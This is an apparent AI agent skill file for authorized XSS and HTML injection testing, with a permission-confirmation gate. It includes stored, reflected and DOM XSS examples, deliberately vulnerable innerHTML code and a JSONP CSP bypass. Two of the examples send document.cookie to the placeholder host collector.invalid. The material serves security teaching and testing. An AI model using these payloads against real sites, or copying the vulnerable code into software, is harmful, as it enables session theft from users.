xss-html-injection – skill Bảo mật cho agent AI

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

>

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

Cross-Site Scripting and HTML Injection Testing

Detailed Guide

Read [the detailed guide](references/detailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.

Constraints and Guardrails

Operational Boundaries

• Never inject payloads that could damage production systems
• Limit cookie/session capture to demonstration purposes only
• Avoid payloads that could spread to unintended users (worm behavior)
• Do not exfiltrate real user data beyond scope requirements

Technical Limitations

• Content Security Policy (CSP) may block inline scripts
• HttpOnly cookies prevent JavaScript access
• SameSite limits some cross-site cookie sending; it does not prevent script running in the vulnerable origin from acting as that user
• Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

• Written authorization required before testing
• Report critical XSS vulnerabilities immediately
• Handle captured credentials per data protection agreements
• Do not use discovered vulnerabilities for unauthorized access

Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

<script>
var i = new Image();
i.src = 'https://collector.invalid/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Result: In a controlled browser, only non-HttpOnly cookies accessible to that document could be sent, and CSP/network policy may block the request. Do not test this with real sessions.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://collector.invalid/log?c='+document.cookie)%22%3E

Delivery: Open only in a consenting test account/browser; sending links to people requires separate explicit authorization.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

// Vulnerable teaching example: explicit decode introduces markup from an encoded hash.
document.getElementById('welcome').innerHTML = 'Hello, ' + decodeURIComponent(location.hash.slice(1));

Attack URL:

https://app.example.com/dashboard#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

Result: Script executes entirely client-side; payload never touches server.

Example 4: CSP Bypass via JSONP Endpoint

Scenario: Site has CSP but allows trusted CDN

CSP Header:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Find JSONP endpoint on trusted domain:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

Result: CSP bypassed using allowed script source.

When to Use

This skill is applicable to execute the workflow or actions described in the overview.